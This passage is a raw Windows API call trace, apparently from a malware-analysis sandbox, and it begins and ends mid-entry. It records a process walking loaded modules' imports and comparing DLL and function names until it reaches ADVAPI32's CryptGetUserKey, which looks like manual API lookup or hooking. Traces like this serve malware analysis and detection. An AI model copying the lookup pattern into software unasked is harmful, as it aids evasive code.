lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="SspiCli.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="USER32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="bcrypt.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] lstrcmpiA (lpString1="pcwum.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.767] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.767] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd670000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd670000, AllocationBase=0x7fefd670000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.767] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.767] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.768] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-Console-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-DateTime-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-Fibers-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-Util-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.768] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff190000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7feff190000, AllocationBase=0x7feff190000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.768] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.768] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.768] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-DelayLoad-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="msvcrt.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.768] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.769] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefe900000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefe900000, AllocationBase=0x7fefe900000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.769] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.769] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.769] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-IO-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-ThreadPool-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Core-DelayLoad-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="SspiCli.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.769] lstrcmpiA (lpString1="WS2_32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.770] lstrcmpiA (lpString1="IPHLPAPI.DLL", lpString2="ADVAPI32.DLL") returned 1 [0044.770] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.770] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.770] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefee30000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefee30000, AllocationBase=0x7fefee30000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.770] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.770] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.770] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.770] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.770] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.770] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.770] lstrcmpiA (lpString1="USER32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.770] lstrcmpiA (lpString1="LPK.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.770] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.770] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x76f40000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x76f40000, AllocationBase=0x76f40000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.770] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.770] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.770] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.770] lstrcmpiA (lpString1="GDI32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.770] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.770] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="ADVAPI32.DLL") returned 0 [0044.770] lstrcmpiA (lpString1="CheckTokenMembership", lpString2="CryptGetUserKey") returned -1 [0044.770] lstrcmpiA (lpString1="RegisterEventSourceW", lpString2="CryptGetUserKey") returned 1 [0044.770] lstrcmpiA (lpString1="ReportEventW", lpString2="CryptGetUserKey") returned 1 [0044.770] lstrcmpiA (lpString1="OpenThreadToken", lpString2="CryptGetUserKey") returned 1 [0044.770] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CryptGetUserKey") returned 1 [0044.770] lstrcmpiA (lpString1="GetTokenInformation", lpString2="CryptGetUserKey") returned 1 [0044.770] lstrcmpiA (lpString1="DeregisterEventSource", lpString2="CryptGetUserKey") returned 1 [0044.770] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.770] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff1b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7feff1b0000, AllocationBase=0x7feff1b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.770] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.770] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.770] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.770] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.770] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.770] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] lstrcmpiA (lpString1="GDI32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] lstrcmpiA (lpString1="USER32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] lstrcmpiA (lpString1="USP10.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.771] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd7f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd7f0000, AllocationBase=0x7fefd7f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.771] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.771] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.771] lstrcmpiA (lpString1="msvcrt.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] lstrcmpiA (lpString1="USER32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] lstrcmpiA (lpString1="GDI32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="ADVAPI32.DLL") returned 0 [0044.771] lstrcmpiA (lpString1="RegOpenKeyExA", lpString2="CryptGetUserKey") returned 1 [0044.771] lstrcmpiA (lpString1="RegQueryValueExA", lpString2="CryptGetUserKey") returned 1 [0044.771] lstrcmpiA (lpString1="RegCloseKey", lpString2="CryptGetUserKey") returned 1 [0044.771] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CryptGetUserKey") returned 1 [0044.771] lstrcmpiA (lpString1="RegQueryInfoKeyW", lpString2="CryptGetUserKey") returned 1 [0044.771] lstrcmpiA (lpString1="RegEnumValueW", lpString2="CryptGetUserKey") returned 1 [0044.771] lstrcmpiA (lpString1="RegEnumKeyExW", lpString2="CryptGetUserKey") returned 1 [0044.771] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CryptGetUserKey") returned 1 [0044.771] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.771] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd5c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd5c0000, AllocationBase=0x7fefd5c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.771] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.771] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.771] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] lstrcmpiA (lpString1="GDI32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] lstrcmpiA (lpString1="USER32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.771] lstrcmpiA (lpString1="msvcrt.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="MPR.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="urlmon.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="SHELL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="PROPSYS.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="ADVAPI32.DLL") returned 0 [0044.772] lstrcmpiA (lpString1="RegEnumKeyW", lpString2="CryptGetUserKey") returned 1 [0044.772] lstrcmpiA (lpString1="SaferiIsExecutableFileType", lpString2="CryptGetUserKey") returned 1 [0044.772] lstrcmpiA (lpString1="RegQueryValueW", lpString2="CryptGetUserKey") returned 1 [0044.772] lstrcmpiA (lpString1="GetCurrentHwProfileW", lpString2="CryptGetUserKey") returned 1 [0044.772] lstrcmpiA (lpString1="SaferiSearchMatchingHashRules", lpString2="CryptGetUserKey") returned 1 [0044.772] lstrcmpiA (lpString1="OpenThreadToken", lpString2="CryptGetUserKey") returned 1 [0044.772] lstrcmpiA (lpString1="RegSetValueW", lpString2="CryptGetUserKey") returned 1 [0044.772] lstrcmpiA (lpString1="GetUserNameW", lpString2="CryptGetUserKey") returned 1 [0044.772] lstrcmpiA (lpString1="RegEnumKeyA", lpString2="CryptGetUserKey") returned 1 [0044.772] lstrcmpiA (lpString1="AdjustTokenPrivileges", lpString2="CryptGetUserKey") returned -1 [0044.772] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CryptGetUserKey") returned 1 [0044.772] lstrcmpiA (lpString1="CheckTokenMembership", lpString2="CryptGetUserKey") returned -1 [0044.772] lstrcmpiA (lpString1="GetSidSubAuthority", lpString2="CryptGetUserKey") returned 1 [0044.772] lstrcmpiA (lpString1="GetTokenInformation", lpString2="CryptGetUserKey") returned 1 [0044.772] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.772] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefdb70000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefdb70000, AllocationBase=0x7fefdb70000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.772] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.772] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.772] lstrcmpiA (lpString1="msvcrt.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="API-MS-Win-Core-IO-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.772] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="USER32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="GDI32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.773] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="ADVAPI32.DLL") returned 0 [0044.773] lstrcmpiA (lpString1="SaferIdentifyLevel", lpString2="CryptGetUserKey") returned 1 [0044.773] lstrcmpiA (lpString1="LogonUserW", lpString2="CryptGetUserKey") returned 1 [0044.773] lstrcmpiA (lpString1="RegCreateKeyW", lpString2="CryptGetUserKey") returned 1 [0044.773] lstrcmpiA (lpString1="TreeSetNamedSecurityInfoW", lpString2="CryptGetUserKey") returned 1 [0044.773] lstrcmpiA (lpString1="FreeEncryptedFileKeyInfo", lpString2="CryptGetUserKey") returned 1 [0044.773] lstrcmpiA (lpString1="EncryptedFileKeyInfo", lpString2="CryptGetUserKey") returned 1 [0044.773] lstrcmpiA 